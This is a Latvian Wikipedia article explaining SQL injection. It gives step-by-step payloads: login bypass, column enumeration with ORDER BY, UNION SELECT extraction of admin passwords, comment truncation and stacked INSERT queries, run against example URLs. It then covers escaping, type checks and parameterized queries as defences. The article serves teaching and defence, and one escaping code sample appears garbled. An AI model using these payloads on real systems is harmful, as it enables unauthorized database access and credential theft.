SQL injekcija
Šis raksts ir jāuzlabo, lai ievērotu Vikipēdijā pieņemto stilu un/vai formatēšanu. Lūdzu, palīdzi uzlabot šo rakstu. Ja ir kādi ieteikumi, vari tos pievienot diskusijā. Vairāk lasi lietošanas pamācībā. |
SQL injekcija ir datorsistēmu ielaušanās veids, kurā uzbrucējs ar klienta tiesībām mēģina piekļūt datubāzei, kas ir dotās tīmekļa lapas vai lietotnes pamatā. Mūsdienās SQL injekcija ir vispopulārākais lietojumprogrammatūru līmeņa uzbrukuma veids. SQL Injekcijas pamatā ir nepareizi uzrakstītas programmas vai tīmekļa lietotnes, kas lietotājam ļauj veikt datubāzes vaicājumus, kurus nav paredzējis programmatūras vai mājaslapas izstrādātājs. Šai situācijai pamatā parasti ir nepietiekoša lietotāju ievadītās informācijas pārbaude, kuras rezultātā netiek filtrēti SQL īpašie simboli.
SQL injekcijas piemērs
labot šo sadaļuAutorizācijas forma, kurā jāievada lietotājvārds un parole. Formas nosūtīšanas rezultātā tiek izpildīts šāds SQL pieprasījums:
SELECT * FROM lietotaji WHERE lietotajvards='LIETOTAJVARDS' AND parole='PAROLE';
Uzbrucējam nepieciešams piekļūt attiecīgās lietotnes administratora ierakstam. Lai to izdarītu SQL vaicājumu nepieciešams modificēt šādā veidā:
SELECT * FROM lietotaji WHERE lietotajvards='admin' OR lietotajvards=kautkas AND parole='%%'
Ievadot autorizācijas formā lietotājvārda vietā "'admin' OR lietotajvards=kaut kas'" būs iespējams autorizēties kā lietotājam "admin" nezinot paroli. Dotais SQL piemērs pirmajā gadījumā atlasīs ierakstu lietotāju tabulā kā meklēšanas kritērijus izmantojot lietotāja vārdu UN paroli. Otrajā gadījumā kā meklēšanas kritērijs tiks izmantots lietotāja vārds UN parole VAI tikai lietotāja vārds.
Modificējot datubāzes vaicājumu un pievienojot tam galā loģisko nosacījumu, kas vienmēr izpildās, uzbrucējs lielākajā daļā gadījumu būs spējīgs nolasīt visus dotās datubāzes tabulas ierakstus, vai arī no kļūdas paziņojumiem izdarīt kādus tālākus secinājumus.
Praktiskā realizācija
labot šo sadaļuŠeit dots ieskats SQL injekcijas praktiskai realizācijai, piemērā izmantojot MySQL DBVS.
Injekcijas iespējas meklēšana
labot šo sadaļuPraktisks piemērs, kur tiek izmantota MySQL DB kļūdaina izmantošana. Pārbaudīt tīmekļa lapu uz SQL injekcijas iespējamību var veikt ievadot pārlūkprogrammas adreses rindā modificētu pieprasījumu (piemēram: http://www.al_quaeda.org/news/iraq/newsarticle.php?id=666'[novecojusi saite]), kas izraisa datubāzes kļūdu. To var fiksēt, ja logā parādās šāds vai līdzīgs uzraksts: "You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near..." Tas liecina, ka netiek filtrēti nekorekti simboli, šajā gadījumā - apostrofs.
Pieprasījuma normalizēšana
labot šo sadaļuNākamais uzbrucēja uzdevums ir noskaidrot SQL tabulas kolonnu skaitu. To veic vispirms ievadot pieprasījumu ar acīmredzami lielāku ierakstu skaitu kā reāli tiek izmantots, piemēram 99999- http://www.al_quaeda.org/news/iraq/newsarticle.php?id=99999%20order%20by%2015[novecojusi saite]. Izvadīts tiek apmēram šads paziņojums-Unknown column '15' in 'order clause'. Samazinot pēdējo skaitli, meklējam patieso kolonnu skaitu, ko var noteikt, ja neparādās kļūdas paziņojums: http://www.al_quaeda.org/news/iraq/newsarticle.php?id=99999%20order%20by%207-[novecojusi saite] kļūdas nav http://www.al_quaeda.org/news/iraq/newsarticle.php?id=99999%20order%20by%2012-[novecojusi saite] kļūda ir. Tā mainot pēdējo parametru, noskaidrojam, ka kļūdas paziņojums pazūd pie pieprasījuma "order by 10", kas arī ir meklētais skaitlis. Tālāk ievadām pieprasījumu http://www.al_quaeda.org/news/iraq/newsarticle.php?id=99999%20union%20select%201,2,3,4,5,6,7,8,9,10[novecojusi saite]. Pārlūkprogramma izvada attēlu, kurā redzami daži no ciparu rindas simboliem- piem. 4, 5, 10.
Sensitīvas informācijas iegūšana
labot šo sadaļuModificējam pieprasījumu: http://www.al_quaeda.org/news/iraq/newsarticle.php?id=99999%20union%20select%201,2,3,version(),5,6,7,8,9,10[novecojusi saite]. Ja datu tipi izvades laukā pieļauj teksta informācijas izvadi, tad tiek izvadīta datubāzes MySQL versija. Ja četrnieku logā nomaina uzraksts, kas ir līdzīgs šim - 5.0.45-log, tad top zināma izmantotā MySQL versija. Šeit būtiskākais ir pirmais cipars- 3.xx versijās ir ļoti grūti darboties praktiski (aplūkotā metode vispār nebūs iespējama), 4.xx arī nākas paļauties uz intuīciju, kamēr 5.xx piedāvā ērtus instrumentus ne tikai MySQL lietotājam, bet arī hakerim. Tā aplūkotajā gadījumā, izmantojot piektās MySQL versijas sistēmas tabulu, var noskaidrot visu DB tabulu nosaukumus. Modificējot pieprasījumu uz ..%20union%20select%201,2,3,table_name,5,6,7,8,9,10 %20from%20information_schema.tables, iegūst pirmās tabulas nosaukumu. Tālāk, izmantojot komandu limit x.x, ko pievieno pieprasījuma beigās, var noskaidrot visu DB tabulu nosaukumus. Vēl viena sistēmas tabula - INFORMATION_SCHEMA.COLUMNS, ļauj līdzīgā veidā noskaidrot kolonnu nosaukumus. Kad tas ir izdarīts, tad iegūt attiecīgās mājaslapas lietotājvārdus un attiecīgo paroļu hešus ir tikai tehnisks jautājums.
SQL injekcijas uzbrukuma princips
labot šo sadaļuPieņemsim, ka servera programmatūra, kura saņem ievades parametru id, izmanto to, lai izveidotu SQL vaicājumu. Apskatīsim šādu PHP skriptu:
SELECT * FROM news WHERE id_news = 5
Taču, ja uzbrucējs kā parametru id nodos virkni -1 or 1 = 1, tad tiks palaists vaicājums:
SELECT * FROM news WHERE id_news = -1 OR 1=1
Tādējādi, mainot ieejas parametrus pievienojot tiem SQL valodas konstrukcijas, izraisa izmaiņas SQL vaicājuma īstenošanas loģikā.
Injekcija virknes parametros
labot šo sadaļuPieņemsim, ka servera programmatūra saņem pieprasījumu veikt izmaiņu meklēšanu ar parametru search_text, izmantojot to nākamajā SQL vaicājumā (šeit parametri tiek ekranēti ar pēdiņām):
… $search_text = $_REQUEST['search_text']; $res = mysql_query("SELECT id_news, news_date, news_caption, news_text, news_id_author FROM news WHERE news_caption LIKE('%$search_text%')");
Veicot search_text pieprasījumu mēs iegūstam šādu SQL vaicājumu:
SELECT id_news, news_date, news_caption, news_text, news_id_author FROM news WHERE news_caption LIKE('%Test%')
Bet injicējot search_text parametrā pēdiņas (kuras izmanto vaicājumā), mēs varam būtiski mainīt SQL vaicājumu. Piemēram, kā search_text parametru nodot vērtību ')+and+(news_id_author='1, tiks izpildīts šāds vaicājums:
SELECT id_news, news_date, news_caption, news_text, news_id_author FROM news WHERE news_caption LIKE('%') AND (news_id_author='1%')
UNION izmantošana
labot šo sadaļuSQL valoda ļauj apvienot vairāku vaicājumu rezultātus ar operatora UNION palīdzību. Tas dod uzbrucējiem iespēju iegūt nesankcionētu piekļuvi datiem.
Apskatīsim jaunumu apskates skriptu (jaunuma ID, kuru nepieciešams attēlot, tiek nodots ar id parametru):
$res = mysql_query("SELECT id_news, header, body, author FROM news WHERE id_news = " . $_REQUEST['id']);
Ja uzbrucējs kā id parametru nodos šādu virkni -1 UNION SELECT 1,username, password,1 FROM admin, tad tiks izpildīts šāds SQL vaicājums:
SELECT id_news, header, body, author FROM news WHERE id_news = -1 UNION SELECT 1,username,password,1 FROM admin
Tā kā ar id -1 neviens jaunums nepastāv, netiks izvēlēts neviens jaunums, bet rezultātā būs iekļauti dati, kas būs nesankcionēti atlasīti no tabulas admin.
UNION + group_concat() izmantošana
labot šo sadaļuDažos gadījumos, uzbrucējs var veikt uzbrukumu, bet nevar redzēt vairāk kā vienu kolonnu. MySQL gadījumā iebrucējs var izmantot funkciju:
group_concat(col, symbol, col)
kas apvieno vairākas kolonnas vienā. Piemēram, iepriekš minētajai funkcijai pieprasījums būs šāds:
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin
Pieprasījuma astes ekranēšana
labot šo sadaļuBieži vien, SQL vaicājums, kas pakļauts šādai ievainojamībai, satur struktūru, kura apgrūtina vai neļauj izmantot union. piemēram, skripts
$res = mysql_query("SELECT author FROM news WHERE id=" . $_REQUEST['id'] ." AND author LIKE ('a%')");
atspoguļo izmaiņas autora vārdu, pēc id nosūtīšanas tikai ar nosacījumu, ka nosaukums sākas ar burtu a un injekcija kodā izmantojot union operatoru ir apgrūtināta.
Šādos gadījumos uzbrucējs izmanto vaicājuma daļas ekranēšanas metodi ar komentāru simbola palīdzību (/ * vai -- atkarīgs no DBVS veida).
Šajā piemērā, uzbrucējs var nodot skriptam parametru id, kura vērtība ir -1 UNION SELECT password FROM admin/*, tādā veidā izpildot vaicājumu
SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin/* AND author LIKE ('a%')
kurā vaicājuma daļa ( AND author LIKE ('a%')) ir apzīmēt kā komentārs un neietekmē izpildi.
SQL vaicājuma sadalīšana
labot šo sadaļuLai atdalītu komandas SQL vaicājumā tiek izmantots simbols ; (semikols), injicējot šo simbolu vaicājumā, uzbrucējs iegūst iespēju izpildīt vairākas komandas, vienā vaicājumā, taču ne visi SQL dialekti atbalsta šādu iespēju. MySQL, piemēram, neatbalsta.
Piemēram, ja skripta
$id = $_REQUEST['id']; $res = mysql_query("SELECT * FROM news WHERE id_news = $id");
parametros tiek ievietots, piemēram, 12;INSERT INTO admin (username, password) VALUES ('HaCkEr', 'foo'); tad vienā vaicājumā tiks izpildītas 2 komandas
SELECT * FROM news WHERE id_news = 12; INSERT INTO admin (username, password) VALUES ('HaCkEr', 'foo');
Un admin tabulā būs nesankcionēti pievienots ieraksts HaCkEr.
SQL koda injekciju metodes uzbrukumu metodika
labot šo sadaļuSkriptu, kuri nav aizsargāti pret uzbrukumiem, meklēšana
labot šo sadaļuŠajā posmā, uzbrucējs pēta servera skriptu uzvedību manipulējot ar ievades parametriem, lai konstatētu anomālu uzvedību. Manipulācija tiek veikta ar visiem iespējamajiem parametriem:
- Ar datiem, kurus pārsūta, izmantojot POST un GET metodes;
- Ar vērtībām [HTTP-Cookie];
- HTTP_REFERER (skriptiem);
- AUTH_USER un AUTH_PASSWORD (izmantojot autentifikāciju).
Par anomālu izturēšanos tiek uzkstīta jebkura uzvedība, kurā lappuses saņemtas pirms un pēc aizstāšanas ar pēdiņām, ir.
Visbiežākie anomālas uzvedības piemēri:
- Tiek izvadīts ziņojums par dažādām kļūdām;
- Veicot datu pieprasījumu (piem., jaunumus vai produktu sarakstu) pieprasītie dati nav redzami vispār, lai gan lappuse tiek parādīta.
Konstrukcija | Virknes atlikuma komentāri | Versijas saņemšana | Rindu konkatācija |
---|---|---|---|
MySQL | -- ... vai /* ...
|
version()
|
concat (string1, string2)
|
MS SQL | -- ...
|
@@version
|
string1 + string2
|
Oracle | -- ... vai /* ...
|
select banner
|
string1 || string2 vai concat (string1, string2)
|
MS Access | NULL‑baita injicēšana vaicājumā: %00...
|
||
PostgreSQL | -- ...
|
version()
|
string1 || string2
|
Sybase | -- ...
|
@@version
|
string1 + string2
|
IBM DB2 | -- ...
|
select versionnumber from sysibm.sysversions
|
string1 || string2 или string1 concat string2
|
Ingres | -- ...
|
dbmsinfo('_version')
|
string1 || string2
|
Aizsardzība no SQL koda injekciju uzbrukumiem
labot šo sadaļuLai aizsargātos pret šāda veida uzbrukumiem ir rūpīgi jāfiltrē ievades parametrus, kuru vērtības tiks izmantotas, lai izveidotu SQL-vaicājumu.
Virknes parametru filtrēšana
labot šo sadaļuPieņemsim, ka kods, kas ģenerē pieprasījumu (Pascal programmēšanas valodā), ir šāds:
statement := 'SELECT * FROM users WHERE name = "' + userName + '";';
Lai injekcija kodā nebūtu iespējama, dažām DBVS ieskaitot MySQL, nepieciešams visus parametrus ievietot pēdiņās. Pašā parametrā aizstāj pēdiņas ar \ " , apostrofu ar \" , reverso slīpsvītru ar \ \ (to sauc par "speciālo rakstzīmju ekranēšanu"). To iespējas izdarīt ar šādu kodu:
statement := 'SELECT * FROM users WHERE name = ' + QuoteParam(userName) + ';';
function QuoteParam(s : string) : string; { ieejā – virkne; izejā – virkne pēdiņās un ar nomainītiem speciālajiem simboliem } var i : integer; Dest : string; begin Dest := '"'; for i:=1 to length(s) do case s[i] of ' : Dest := Dest + '\; '"' : Dest := Dest + '\"'; '\' : Dest := Dest + '\\'; else Dest := Dest + s[i]; end; QuoteParam := Dest + '"'; end;
PHP filtrācijai var būt šāds:
<? $query = "SELECT * FROM users WHERE user='".mysql_real_escape_string($user)."';"; ?>
Skaitlisko parametru filtrācija
labot šo sadaļuPaņemsim citu vaicājumu:
statement := 'SELECT * FROM users WHERE id = ' + id + ';';
Šajā gadījumā id lauks ir skaitlisks tips, un tas nevar tikt ievietots pēdiņās. Tādēļ speciālo rakstzīmju aizstāšana nav atļauta. Šajā gadījumā palīdz tipa pārbaude, ja mainīgais id nav skaitlis, vaicājums nedrīkst tikt izpildīts.
Piemēram, Delphi, lai novērstu šādas injekcijas palīdzēs kods:
id_int := StrToInt(id); statement := 'SELECT * FROM users WHERE id = ' + IntToStr(id_int) + ';';
Kļūdas gadījumā funkcija StrToInt izsauks EConvertError, un tā apstrādātājā varēs izvadīt kļūdas ziņojumu. Dubultā pārveidošana nodrošina pareizu atbildi uz skaitli $ 132AB (heksadecimālā formātā).
Priekš PHP, šī metode izskatīsies šādi:
$query = 'SELECT * FROM users WHERE id = ' . (int) $id;
Ieejas parametru saīsināšana
labot šo sadaļuLai veiktu izmaiņas, SQL vaicājumu izpildes loģikā nepieciešama garu virkņu injicēšana. Tādējādi minimālais injicējamo virkņu garums 8 rakstzīmes ("1 OR 1 = 1"). Ja maksimālais garums, pareizai vērtībai, ir neliels, tad viena no aizsardzības metodēm var būt maksimāla ievades vērtību saīsināšana.
Piemēram, ja jūs zināt, ka id lauks iepriekš minētajiem piemēriem var ieņemt vērtību, kas nav lielāka par 9999, var tikt "nogrieztas" liekās zīmes, atstājot ne vairāk kā četras:
statement := 'SELECT * FROM users WHERE id = ' + LeftStr(id, 4) + ';';
Parametrizētu vaicājumu izmantošana
labot šo sadaļuDaudzi datu bāzu serveri atbalsta iespēju nosūtīt parameterizētus vaicājumus. Turklāt ārējās izcelsmes parametri tiek nosūtīti uz serveri atsevišķi no paša vaicājuma, vai automātiski tiek ekranēti ar klienta bibliotēku. Šim nolūkam tiek izmantots,
- Delphi valodā - īpašība TQuery.Params;
piemēram:
var sql, param : string; begin sql := 'select :text as value from dual'; param := 'alpha'; Query1.Sql.Text := sql; Query1.ParamByName('text').AsString := param; Query1.Open; ShowMessage(Query1['value']); end;
Aizsardzība
labot šo sadaļuLai izvairītos no šāda tipa uzbrukumiem, nepieciešams veikt drošības pasākumus:
- Vienmēr un visur pārbaudīt, vai lietotāju ievadītais teksts nesatur kādu no SQL robežsimboliem.